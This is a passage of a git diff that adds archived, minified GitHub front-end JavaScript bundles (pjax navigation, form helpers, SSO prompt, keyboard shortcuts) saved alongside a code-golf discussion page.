+${A}`.length;return{autocompletePrefix:"",text:e.substring(0,P)+e.substring(t),selection:[P,P],commandId:"delete",writeSelection:[null,null]}}}s(Y,"autocompletedList");function Q(e,o,t){const u=o[0]||0,T=o[1]||u;if(o[0]===null||u===T)return;const y=e.substring(0,u).lastIndexOf(` +`)+1,A=e.indexOf(` +`,T-1),k=A>0?A:e.length-1,C=e.substring(y,k).split(` +`);let x=!1,O=0,I=0;const N=[];for(const $ of C){const P=$.match(/^\s*/);if(P){let D=P[0];const F=$.substring(D.length);if(t){const U=D.length;D=D.slice(0,-2),O=x?O:D.length-U,x=!0,I+=D.length-U}else D+=" ",O=2,I+=2;N.push(D+F)}}const B=N.join(` +`),W=e.substring(0,y)+B+e.substring(k),K=[Math.max(y,u+O),T+I];return{text:W,selection:K,autocompletePrefix:B,commandId:"insertText",writeSelection:[y,k]}}s(Q,"indent");function ee(e){const t=e.target;t.selectionDirection==="backward"?t.selectionEnd=t.selectionStart:t.selectionStart=t.selectionEnd}s(ee,"deselectText");function q(e){if(document.querySelectorAll("tracked-issues-progress").length===0||e.closest(".js-timeline-item"))return;const t=e.querySelectorAll(".js-comment-body [type=checkbox]"),u=t.length,T=Array.from(t).filter(A=>A.checked).length,y=document.querySelectorAll("tracked-issues-progress[data-type=checklist]");for(const A of y)A.setAttribute("data-completed",String(T)),A.setAttribute("data-total",String(u))}s(q,"updateProgress")},12737:(M,w,c)=>{c.d(w,{W:()=>p});var h=c(59753);async function p(f){const r=document.querySelector("#site-details-dialog").content.cloneNode(!0),d=r.querySelector("details"),E=d.querySelector("details-dialog"),g=d.querySelector(".js-details-dialog-spinner");f.detailsClass&&d.classList.add(...f.detailsClass.split(" ")),f.dialogClass&&E.classList.add(...f.dialogClass.split(" ")),f.label?E.setAttribute("aria-label",f.label):f.labelledBy&&E.setAttribute("aria-labelledby",f.labelledBy),document.body.append(r);const m=await f.content;return g.remove(),E.prepend(m),d.addEventListener("toggle",()=>{d.hasAttribute("open")||((0,h.f)(E,"dialog:remove"),d.remove())}),E}s(p,"dialog")},29719:(M,w,c)=>{c.d(w,{D:()=>l,a:()=>f});var h=c(17463),p=c(12981);async function f(r,d,E){const g=new Request(d,E);g.headers.append("X-Requested-With","XMLHttpRequest");const m=await self.fetch(g);if(m.status<200||m.status>=300)throw new Error(`HTTP ${m.status}${m.statusText||""}`);return(0,h.t)((0,h.P)(r),m),(0,p.r)(r,await m.text())}s(f,"fetchSafeDocumentFragment");function l(r,d,E=1e3){return s(async function g(m){const v=new Request(r,d);v.headers.append("X-Requested-With","XMLHttpRequest");const _=await self.fetch(v);if(_.status<200||_.status>=300)throw new Error(`HTTP ${_.status}${_.statusText||""}`);if(_.status===200)return _;if(_.status===202)return await new Promise(L=>setTimeout(L,m)),g(m*1.5);throw new Error(`Unexpected ${_.status} response status from poll endpoint`)},"poll")(E)}s(l,"fetchPoll")},56238:(M,w,c)=>{c.d(w,{Bt:()=>r,DN:()=>g,KL:()=>_,Se:()=>E,qC:()=>L,sw:()=>m});var h=c(59753),p=c(2061),f=c(7679);(0,h.on)("click",".js-remote-submit-button",async function(i){const n=i.currentTarget.form;i.preventDefault();let b;try{b=await fetch(n.action,{method:n.method,body:new FormData(n),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}b&&!b.ok&&(0,f.v)()});function l(i,a,n){return i.dispatchEvent(new CustomEvent(a,{bubbles:!0,cancelable:n}))}s(l,"fire");function r(i,a){a&&(d(i,a),(0,p.j)(a)),l(i,"submit",!0)&&i.submit()}s(r,"requestSubmit");function d(i,a){if(!(i instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(a instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(a.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!i||i!==a.form)throw new Error("The specified element is not owned by the form element.")}s(d,"checkButtonValidity");function E(i,a){if(typeof a=="boolean")if(i instanceof HTMLInputElement)i.checked=a;else throw new TypeError("only checkboxes can be set to boolean value");else{if(i.type==="checkbox")throw new TypeError("checkbox can't be set to string value");i.value=a}l(i,"change",!1)}s(E,"changeValue");function g(i,a){for(const n in a){const b=a[n],S=i.elements.namedItem(n);(S instanceof HTMLInputElement||S instanceof HTMLTextAreaElement)&&(S.value=b)}}s(g,"fillFormValues");function m(i){if(!(i instanceof HTMLElement))return!1;const a=i.nodeName.toLowerCase(),n=(i.getAttribute("type")||"").toLowerCase();return a==="select"||a==="textarea"||a==="input"&&n!=="submit"&&n!=="reset"||i.isContentEditable}s(m,"isFormField");function v(i){return new URLSearchParams(i)}s(v,"searchParamsFromFormData");function _(i,a){const n=new URLSearchParams(i.search),b=v(a);for(const[S,R]of b)n.append(S,R);return n.toString()}s(_,"combineGetFormSearchParams");function L(i){return v(new FormData(i)).toString()}s(L,"serialize")},55741:(M,w,c)=>{c.d(w,{M:()=>f,T:()=>l});var h=c(14840),p=c(56238);function f(n,b=!1){return l(n)||v(n,b)||i(n)||a(n)}s(f,"hasInteractions");function l(n){for(const b of n.querySelectorAll("input, textarea"))if((b instanceof HTMLInputElement||b instanceof HTMLTextAreaElement)&&r(b))return!0;return!1}s(l,"hasDirtyFields");function r(n){if(n instanceof HTMLInputElement&&(n.type==="checkbox"||n.type==="radio")){if(n.checked!==n.defaultChecked)return!0}else if(n.value!==n.defaultValue)return!0;return!1}s(r,"formFieldValueChanged");let d;async function E(n,b){d=n;try{await b()}finally{d=null}}s(E,"withActiveElement");function g(n){return d instanceof Element?d:n&&n.ownerDocument&&n.ownerDocument.activeElement?n.ownerDocument.activeElement:null}s(g,"getActiveElement");let m;document.addEventListener("mouseup",function(n){m=n.target});function v(n,b){const S=g(n);return S===null||b&&S===n?!1:S===n&&(0,p.sw)(S)||n.contains(S)&&!L(S)?!0:m instanceof Element&&n.contains(m)&&!!m.closest("details[open] > summary")}s(v,"hasFocus");const _="a[href], button";function L(n){var b;if(n instanceof h.Z)return!0;const S=n instanceof HTMLAnchorElement||n instanceof HTMLButtonElement,R=(b=n.parentElement)==null?void 0:b.classList.contains("task-list-item");if(S&&R)return!0;if(!(m instanceof Element))return!1;const j=n.closest(_);if(!j)return!1;const H=m.closest(_);return j===H}s(L,"activeElementIsSafe");function i(n){return n.matches(":active:enabled")}s(i,"hasMousedown");function a(n){return!!(n.closest(".is-dirty")||n.querySelector(".is-dirty"))}s(a,"markedAsDirty")},17463:(M,w,c)=>{c.d(w,{P:()=>h,t:()=>f});function h(l){const r=[...l.querySelectorAll("meta[name=html-safe-nonce]")].map(d=>d.content);if(r.length<1)throw new Error("could not find html-safe-nonce on document");return r}s(h,"getDocumentHtmlSafeNonces");class p extends Error{constructor(r,d){super(`${r} for HTTP ${d.status}`);this.response=d}}s(p,"ResponseError");function f(l,r,d=!1){const E=r.headers.get("content-type")||"";if(!d&&!E.startsWith("text/html"))throw new p(`expected response with text/html, but was ${E}`,r);if(d&&!(E.startsWith("text/html")||E.startsWith("application/json")))throw new p(`expected response with text/html or application/json, but was ${E}`,r);const g=r.headers.get("x-html-safe");if(g){if(!l.includes(g))throw new p("response X-HTML-Safe nonce did not match",r)}else throw new p("missing X-HTML-Safe nonce",r)}s(f,"verifyResponseHtmlSafeNonce")},45075:(M,w,c)=>{c.d(w,{ZG:()=>r,q6:()=>E,w4:()=>d});var h=c(8439);let p=!1;const f=new h.Z;function l(g){const m=g.target;if(m instanceof HTMLElement&&m.nodeType!==Node.DOCUMENT_NODE)for(const v of f.matches(m))v.data.call(null,m)}s(l,"handleFocus");function r(g,m){p||(p=!0,document.addEventListener("focus",l,!0)),f.add(g,m),document.activeElement instanceof HTMLElement&&document.activeElement.matches(g)&&m(document.activeElement)}s(r,"onFocus");function d(g,m,v){function _(L){const i=L.currentTarget;!i||(i.removeEventListener(g,v),i.removeEventListener("blur",_))}s(_,"blurHandler"),r(m,function(L){L.addEventListener(g,v),L.addEventListener("blur",_)})}s(d,"onKey");function E(g,m){function v(_){const{currentTarget:L}=_;!L||(L.removeEventListener("input",m),L.removeEventListener("blur",v))}s(v,"blurHandler"),r(g,function(_){_.addEventListener("input",m),_.addEventListener("blur",v)})}s(E,"onInput")},2061:(M,w,c)=>{c.d(w,{j:()=>h,u:()=>p});function h(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let r=p(l);if(f.name){const d=f.matches("input[type=submit]")?"Submit":"",E=f.value||d;r||(r=document.createElement("input"),r.type="hidden",r.classList.add("is-submit-button-value"),l.prepend(r)),r.name=f.name,r.value=E}else r&&r.remove()}s(h,"persistSubmitButtonValue");function p(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}s(p,"findPersistedSubmitButtonValue")},25833:(M,w,c)=>{c.d(w,{Z:()=>L});var h=c(12737),p=c(29719),f=c(64463);function l(i){return new Promise(a=>{i.addEventListener("dialog:remove",a,{once:!0})})}s(l,"waitForDialogClose");function r(i){const a=document.querySelector(".sso-modal");!a||(a.classList.remove("success","error"),i?a.classList.add("success"):a.classList.add("error"))}s(r,"setModalStatus");function d(i){const a=document.querySelector("meta[name=sso-expires-around]");a&&a.setAttribute("content",i)}s(d,"updateExpiresAroundTag");async function E(){const i=document.querySelector("link[rel=sso-modal]"),a=await(0,h.W)({content:(0,p.a)(document,i.href),dialogClass:"sso-modal"});let n=null;const b=window.external;if(b.ssoComplete=function(S){S.error?(n=!1,r(n)):(n=!0,r(n),d(S.expiresAround),window.focus()),b.ssoComplete=null},await l(a),!n)throw new Error("sso prompt canceled")}s(E,"ssoPrompt"),(0,f.N7)(".js-sso-modal-complete",function(i){if(window.opener&&window.opener.external.ssoComplete){const a=i.getAttribute("data-error"),n=i.getAttribute("data-expires-around");window.opener.external.ssoComplete({error:a,expiresAround:n}),window.close()}else{const a=i.getAttribute("data-fallback-url");a&&(window.location.href=a)}});function g(i){if(!(i instanceof HTMLMetaElement))return!0;const a=parseInt(i.content);return new Date().getTime()/1e3>a}s(g,"expiresSoon");async function m(){const i=document.querySelector("link[rel=sso-session]"),a=document.querySelector("meta[name=sso-expires-around]");if(!(i instanceof HTMLLinkElement)||!g(a))return!0;const n=i.href;return await(await fetch(n,{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json()}s(m,"fetchSsoStatus");let v=null;function _(){v=null}s(_,"clearActiveSsoPrompt");async function L(){await m()||(v||(v=E().then(_).catch(_)),await v)}s(L,"__WEBPACK_DEFAULT_EXPORT__")},6741:(M,w,c)=>{c.d(w,{RB:()=>p,qC:()=>f,w0:()=>h});class h{constructor(r){this.closed=!1,this.unsubscribe=()=>{r(),this.closed=!0}}}s(h,"Subscription");function p(l,r,d,E={capture:!1}){return l.addEventListener(r,d,E),new h(()=>{l.removeEventListener(r,d,E)})}s(p,"fromEvent");function f(...l){return new h(()=>{for(const r of l)r.unsubscribe()})}s(f,"compose")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-e439d69777c7.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js new file mode 100644 index 0000000..f4bf598 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var me=Object.defineProperty;var t=(C,v)=>me(C,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_pjax_ts"],{41307:(C,v,d)=>{d.d(v,{ZP:()=>M,y0:()=>le});var f=d(6170),c=d(54293),l=d(61161),m=d(49815),p=d(12981),E=d(45922);const u=20;let a,h=null;function s(r,o,e){return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}t(s,"dispatch");async function M(r){var o,e,n,y;const i={push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,...r};i.requestUrl=i.url;const g=I(i.url).hash,S=i.container,T=N(S);a||(a={id:O(),url:window.location.href,title:document.title,container:T,fragment:i.fragment},(0,f.lO)(a,a.title,a.url)),h==null||h.abort();const{signal:w}=h=new AbortController;i.push===!0&&i.replace!==!0&&(ae(a.id,j(S)),(0,f.qA)(null,"",i.requestUrl)),s(S,"pjax:start",{url:i.url}),s(S,"pjax:send");let x;const b=ce();try{x=await fetch(i.url,{signal:w,method:i.type,body:i.data,headers:{Accept:"text/html","X-PJAX":"true","X-PJAX-Container":T,"X-Requested-With":"XMLHttpRequest","X-PJAX-VERSION":(o=b.pjax)!=null?o:"","X-PJAX-CSP-VERSION":(e=b.csp)!=null?e:"","X-PJAX-CSS-VERSION":(n=b.css)!=null?n:"","X-PJAX-JS-VERSION":(y=b.js)!=null?y:""}})}catch{x=void 0}if(!x||!x.ok){const D=s(S,"pjax:error");if(i.type==="GET"&&D){const Q=x&&x.headers.get("X-PJAX-URL"),fe=Q?I(Q).href:i.requestUrl;(0,E.b)({pjaxFailureReason:"response_error",requestUrl:i.requestUrl}),U(fe)}s(S,"pjax:complete"),s(S,"pjax:end");return}const K=a,ee=se(),te=x.headers.get("X-PJAX-Version"),ue=await x.text(),A=Y(ue,x,i),{contents:$}=A,ne=I(A.url);if(g&&(ne.hash=g,A.url=ne.href),ee&&te&&ee!==te){s(S,"pjax:hardLoad",{reason:"version_mismatch"}),(0,E.b)({pjaxFailureReason:"version_mismatch",requestUrl:i.requestUrl}),U(A.url);return}if(!$){s(S,"pjax:hardLoad",{reason:"missing_response_body"}),(0,E.b)({pjaxFailureReason:"missing_response_body",requestUrl:i.requestUrl}),U(A.url);return}a={id:i.id!=null?i.id:O(),url:A.url,title:A.title,container:T,fragment:i.fragment},(i.push===!0||i.replace===!0)&&(0,f.lO)(a,A.title,A.url);const Z=document.activeElement,de=i.container!=null&&i.container.contains(Z);if(Z instanceof HTMLElement&&de)try{Z.blur()}catch{}A.title&&(document.title=A.title),s(S,"pjax:beforeReplace",{contents:$,state:a,previousState:K}),R(S,$),(0,c.b)(),(0,c.o)();const z=S.querySelector("input[autofocus], textarea[autofocus]");z&&document.activeElement!==z&&z.focus(),A.scripts&&oe(A.scripts),A.stylesheets&&re(A.stylesheets);let G=i.scrollTo;if(g){const D=(0,l.Kt)(document,g);D&&(G=D.getBoundingClientRect().top+window.pageYOffset)}typeof G=="number"&&window.scrollTo(window.pageXOffset,G),s(S,"pjax:success"),s(S,"pjax:complete"),s(S,"pjax:end")}t(M,"pjaxRequest");function U(r){a&&(0,f.lO)(null,"",a.url),window.location.replace(r)}t(U,"locationReplace");let q=!0;const k=window.location.href,_=window.history.state;_&&_.container&&(a=_),"state"in window.history&&(q=!1);function P(r){if((0,m.c)("TURBO"))return;q||h==null||h.abort();const o=a,e=r.state;let n=null;if(e&&e.container){if(q&&k===e.url)return;if(o){if(o.id===e.id)return;n=o.id]*>([\s\S.]*)<\/head>/i),x=r.match(/]*>([\s\S.]*)<\/body>/i);L=w?Array.from((0,p.r)(document,w[0]).childNodes):[],g=x?Array.from((0,p.r)(document,x[0]).childNodes):[]}else L=g=Array.from((0,p.r)(document,r).childNodes);if(g.length===0)return n;const S=X(L,"title",HTMLTitleElement);n.title=S.length>0&&S[S.length-1].textContent||"";let T;if(e.fragment){if(e.fragment==="body")T=g;else{const w=X(g,e.fragment,Element);T=w.length>0?[w[0]]:[]}if(T.length&&(e.fragment==="body"?n.contents=T:n.contents=T.flatMap(w=>Array.from(w.childNodes)),!n.title)){const w=T[0];w instanceof Element&&(n.title=w.getAttribute("title")||w.getAttribute("data-title")||"")}}else y||(n.contents=g);if(n.contents){n.contents=n.contents.filter(function(b){return b instanceof Element?!b.matches("title"):!0});for(const b of n.contents)if(b instanceof Element)for(const K of b.querySelectorAll("title"))K.remove();const w=X(n.contents,"script[src]",HTMLScriptElement);for(const b of w)b.remove();n.scripts=w,n.contents=n.contents.filter(b=>w.indexOf(b)===-1);const x=X(n.contents,"link[rel=stylesheet]",HTMLLinkElement);for(const b of x)b.remove();n.stylesheets=x,n.contents=n.contents.filter(b=>!x.includes(b))}return n.title&&(n.title=n.title.trim()),n}t(Y,"extractContainer");function oe(r){const o=document.querySelectorAll("script[src]");for(const e of r){const{src:n}=e;if(Array.from(o).some(g=>g.src===n))continue;const y=document.createElement("script"),i=e.getAttribute("type");i&&(y.type=i);const L=e.getAttribute("integrity");L&&(y.integrity=L,y.crossOrigin="anonymous"),y.src=n,document.head&&document.head.appendChild(y)}}t(oe,"executeScriptTags");function re(r){const o=document.querySelectorAll("link[rel=stylesheet]");for(const e of r)Array.from(o).some(n=>n.href===e.href)||document.head&&document.head.appendChild(e)}t(re,"injectStyleTags");const B={},F=[],J=[];function ae(r,o){B[r]=o,J.push(r),W(F,0),W(J,u)}t(ae,"cachePush");function ie(r,o,e){let n,y;B[o]=e,r==="forward"?(n=J,y=F):(n=F,y=J),n.push(o);const i=y.pop();i&&delete B[i],W(n,u)}t(ie,"cachePop");function W(r,o){for(;r.length>o;){const e=r.shift();if(e==null)return;delete B[e]}}t(W,"trimCacheStack");function se(){for(const r of document.getElementsByTagName("meta")){const o=r.getAttribute("http-equiv");if(o&&o.toUpperCase()==="X-PJAX-VERSION")return r.content}return null}t(se,"findVersion");function H(r){var o;const e=document.querySelector(`meta[http-equiv="${r}"]`);return(o=e==null?void 0:e.content)!=null?o:null}t(H,"pjaxMeta");function ce(){return{pjax:H("X-PJAX-VERSION"),csp:H("X-PJAX-CSP-VERSION"),css:H("X-PJAX-CSS-VERSION"),js:H("X-PJAX-JS-VERSION")}}t(ce,"findAllVersions");function le(){return a}t(le,"getState"),window.addEventListener("popstate",P)},54293:(C,v,d)=>{d.d(v,{b:()=>m,o:()=>p});var f=d(7739);const c={},l={};(async()=>(await f.x,c[document.location.pathname]=Array.from(document.querySelectorAll("head [data-pjax-transient]")),l[document.location.pathname]=Array.from(document.querySelectorAll("[data-pjax-replace]"))))(),document.addEventListener("pjax:beforeReplace",function(E){const u=E.detail.contents||[],a=E.target;for(let h=0;h{d.d(v,{C:()=>c,x:()=>f});const f=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),c=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},49815:(C,v,d)=>{d.d(v,{$:()=>E,c:()=>m});var f=d(15205);const c=(0,f.Z)(l);function l(){var u,a;return(((a=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:a.content)||"").split(",")}t(l,"enabledFeatures");const m=(0,f.Z)(p);function p(u){return c().indexOf(u)!==-1}t(p,"isEnabled");const E={isFeatureEnabled:m}},61161:(C,v,d)=>{d.d(v,{$z:()=>l,Kt:()=>f,Q:()=>c});function f(m,p=location.hash){return c(m,l(p))}t(f,"findFragmentTarget");function c(m,p){return p===""?null:m.getElementById(p)||m.getElementsByName(p)[0]}t(c,"findElementByFragmentName");function l(m){try{return decodeURIComponent(m.slice(1))}catch{return""}}t(l,"decodeFragmentValue")},6170:(C,v,d)=>{d.d(v,{Mw:()=>q,_C:()=>U,lO:()=>M,qA:()=>s,y0:()=>m});const f=[];let c=0,l;function m(){return l}t(m,"getState");function p(){try{return Math.min(Math.max(0,history.length)||0,9007199254740991)}catch{return 0}}t(p,"safeGetHistory");function E(){const _={_id:new Date().getTime(),...history.state};return a(_),_}t(E,"initializeState");function u(){return p()-1+c}t(u,"position");function a(_){l=_;const P=location.href;f[u()]={url:P,state:l},f.length=p(),window.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}t(a,"setState");function h(){return new Date().getTime()}t(h,"uniqueId");function s(_,P,O){c=0;const j={_id:h(),..._};history.pushState(j,P,O),a(j)}t(s,"pushState");function M(_,P,O){const j={...m(),..._};history.replaceState(j,P,O),a(j)}t(M,"replaceState");function U(){const _=f[u()-1];if(_)return _.url}t(U,"getBackURL");function q(){const _=f[u()+1];if(_)return _.url}t(q,"getForwardURL"),l=E(),window.addEventListener("popstate",t(function(P){var O,j,I,N,X;const R=P.state;if(!(!R||!R._id&&!((O=R.turbo)==null?void 0:O.restorationIdentifier))){if((j=R.turbo)==null?void 0:j.restorationIdentifier){const V=R.turbo.restorationIdentifier;((X=(N=(I=f[u()-1])==null?void 0:I.state)==null?void 0:N.turbo)==null?void 0:X.restorationIdentifier)===V?c--:c++}else R._id<(m()._id||NaN)?c--:c++;a(R)}},"onPopstate"),!0);let k;window.addEventListener("turbo:visit",_=>{_ instanceof CustomEvent&&(k=_.detail.action)}),window.addEventListener("turbo:load",()=>{k!=="restore"&&(c=0,M(history.state,"",""))}),window.addEventListener("hashchange",t(function(){if(p()>f.length){const P={_id:h()};history.replaceState(P,"",location.href),a(P)}},"onHashchange"),!0)},12981:(C,v,d)=>{d.d(v,{r:()=>f});function f(c,l){const m=c.createElement("template");return m.innerHTML=l,c.importNode(m.content,!0)}t(f,"parseHTML")},97474:(C,v,d)=>{d.d(v,{Z:()=>f});function f(c){var l,m;const p=(m=(l=c.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:m.content;if(!p)return!1;const E=p.replace(/\.$/,"").split(".").slice(-2).join("."),u=c.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return E!==u}t(f,"detectProxySite")},45922:(C,v,d)=>{d.d(v,{b:()=>m});var f=d(97474),c=d(7739);let l=[];function m(h,s=!1){h.timestamp===void 0&&(h.timestamp=new Date().getTime()),h.loggedIn=a(),l.push(h),s?u():E()}t(m,"sendStats");let p=null;async function E(){await c.C,p==null&&(p=window.requestIdleCallback(u))}t(E,"scheduleSendStats");function u(){var h,s;if(p=null,!l.length||(0,f.Z)(document))return;const M=(s=(h=document.head)==null?void 0:h.querySelector('meta[name="browser-stats-url"]'))==null?void 0:s.content;if(!M)return;const U=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(M,U)}catch{}l=[]}t(u,"flushStats");function a(){var h,s;return!!((s=(h=document.head)==null?void 0:h.querySelector('meta[name="user-login"]'))==null?void 0:s.content)}t(a,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_pjax_ts-3331a0ecddca.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js new file mode 100644 index 0000000..ce79225 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var $=Object.defineProperty;var n=(j,y)=>$(j,"name",{value:y,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],{7679:(j,y,h)=>{h.d(y,{H:()=>c,v:()=>p});var E=h(59753);function p(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!1)}n(p,"showGlobalError");function c(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!0)}n(c,"hideGlobalError"),(0,E.on)("deprecatedAjaxError","[data-remote]",function(s){const f=s.detail,{error:L,text:m}=f;s.currentTarget===s.target&&(L==="abort"||L==="canceled"||(/{h.d(y,{Ty:()=>p,YE:()=>c,Zf:()=>s});var E=h(11793);const p=n(()=>{const f=document.querySelector("meta[name=keyboard-shortcuts-preference]");return f?f.content==="all":!0},"areCharacterKeyShortcutsEnabled"),c=n(f=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(f)||f.includes("Alt")&&f.includes("Shift"),"isNonCharacterKeyShortcut"),s=n(f=>{const L=(0,E.EL)(f);return p()?!0:c(L)},"isShortcutAllowed")},75371:(j,y,h)=>{h.d(y,{VZ:()=>p,_C:()=>c,cv:()=>E,oE:()=>s});function E(m){const a=m.getBoundingClientRect();return{top:a.top+window.pageYOffset,left:a.left+window.pageXOffset}}n(E,"offset");function p(m){let a=m;const l=a.ownerDocument;if(!l||!a.offsetParent)return;const g=l.defaultView.HTMLElement;if(a!==l.body){for(;a!==l.body;){if(a.parentElement instanceof g)a=a.parentElement;else return;const{position:C,overflowY:T,overflowX:r}=getComputedStyle(a);if(C==="fixed"||T==="auto"||r==="auto"||T==="scroll"||r==="scroll")break}return a instanceof Document?null:a}}n(p,"overflowParent");function c(m,a){let l=a;const g=m.ownerDocument;if(!g)return;const C=g.documentElement;if(!C||m===C)return;const T=s(m,l);if(!T)return;l=T._container;const r=l===g.documentElement&&g.defaultView?{top:g.defaultView.pageYOffset,left:g.defaultView.pageXOffset}:{top:l.scrollTop,left:l.scrollLeft},d=T.top-r.top,v=T.left-r.left,w=l.clientHeight,k=l.clientWidth,H=w-(d+m.offsetHeight),P=k-(v+m.offsetWidth);return{top:d,left:v,bottom:H,right:P,height:w,width:k}}n(c,"overflowOffset");function s(m,a){let l=m;const g=l.ownerDocument;if(!g)return;const C=g.documentElement;if(!C)return;const T=g.defaultView.HTMLElement;let r=0,d=0;const v=l.offsetHeight,w=l.offsetWidth;for(;!(l===g.body||l===a);)if(r+=l.offsetTop||0,d+=l.offsetLeft||0,l.offsetParent instanceof T)l=l.offsetParent;else return;let k,H,P;if(!a||a===g||a===g.defaultView||a===g.documentElement||a===g.body)P=C,k=f(g.body,C),H=L(g.body,C);else if(a instanceof T)P=a,k=a.scrollHeight,H=a.scrollWidth;else return;const x=k-(r+v),S=H-(d+w);return{top:r,left:d,bottom:x,right:S,_container:P}}n(s,"positionedOffset");function f(m,a){return Math.max(m.scrollHeight,a.scrollHeight,m.offsetHeight,a.offsetHeight,a.clientHeight)}n(f,"getDocumentHeight");function L(m,a){return Math.max(m.scrollWidth,a.scrollWidth,m.offsetWidth,a.offsetWidth,a.clientWidth)}n(L,"getDocumentWidth")},56238:(j,y,h)=>{h.d(y,{Bt:()=>f,DN:()=>a,KL:()=>C,Se:()=>m,qC:()=>T,sw:()=>l});var E=h(59753),p=h(2061),c=h(7679);(0,E.on)("click",".js-remote-submit-button",async function(r){const v=r.currentTarget.form;r.preventDefault();let w;try{w=await fetch(v.action,{method:v.method,body:new FormData(v),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}w&&!w.ok&&(0,c.v)()});function s(r,d,v){return r.dispatchEvent(new CustomEvent(d,{bubbles:!0,cancelable:v}))}n(s,"fire");function f(r,d){d&&(L(r,d),(0,p.j)(d)),s(r,"submit",!0)&&r.submit()}n(f,"requestSubmit");function L(r,d){if(!(r instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(d instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(d.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!r||r!==d.form)throw new Error("The specified element is not owned by the form element.")}n(L,"checkButtonValidity");function m(r,d){if(typeof d=="boolean")if(r instanceof HTMLInputElement)r.checked=d;else throw new TypeError("only checkboxes can be set to boolean value");else{if(r.type==="checkbox")throw new TypeError("checkbox can't be set to string value");r.value=d}s(r,"change",!1)}n(m,"changeValue");function a(r,d){for(const v in d){const w=d[v],k=r.elements.namedItem(v);(k instanceof HTMLInputElement||k instanceof HTMLTextAreaElement)&&(k.value=w)}}n(a,"fillFormValues");function l(r){if(!(r instanceof HTMLElement))return!1;const d=r.nodeName.toLowerCase(),v=(r.getAttribute("type")||"").toLowerCase();return d==="select"||d==="textarea"||d==="input"&&v!=="submit"&&v!=="reset"||r.isContentEditable}n(l,"isFormField");function g(r){return new URLSearchParams(r)}n(g,"searchParamsFromFormData");function C(r,d){const v=new URLSearchParams(r.search),w=g(d);for(const[k,H]of w)v.append(k,H);return v.toString()}n(C,"combineGetFormSearchParams");function T(r){return g(new FormData(r)).toString()}n(T,"serialize")},32750:(j,y,h)=>{h.d(y,{QZ:()=>P,ZH:()=>V,jK:()=>x,T_:()=>F,Sw:()=>X,VF:()=>U,VH:()=>Y});var E=h(6741),p=h(59753),c=h(75371),s=h(11793),f=h(5287),L=h(64463);function m(e,t){let i=e;const o=e.ownerDocument;(i===o||i===o.defaultView||i===o.documentElement||i===o.body)&&(i=o);const u=o.defaultView.Document;if(i instanceof u){const M=t.top!=null?t.top:o.defaultView.pageYOffset,B=t.left!=null?t.left:o.defaultView.pageXOffset;o.defaultView.scrollTo(B,M);return}const b=o.defaultView.HTMLElement;if(!(i instanceof b))throw new Error("invariant");i.scrollTop=t.top,t.left!=null&&(i.scrollLeft=t.left)}n(m,"scrollTo");var a=h(5878);const l=navigator.userAgent.match(/Macintosh/),g=l?"metaKey":"ctrlKey",C=l?"Meta":"Control";let T=!1,r={x:0,y:0};(0,L.N7)(".js-navigation-container:not(.js-navigation-container-no-mouse)",{subscribe:e=>(0,E.qC)((0,E.RB)(e,"mouseover",d),(0,E.RB)(e,"mouseover",v))});function d(e){e instanceof MouseEvent&&((r.x!==e.clientX||r.y!==e.clientY)&&(T=!1),r={x:e.clientX,y:e.clientY})}n(d,"onContainerMouseMove");function v(e){if(T)return;const t=e.currentTarget,{target:i}=e;if(!(i instanceof Element)||!(t instanceof HTMLElement)||!t.closest(".js-active-navigation-container"))return;const 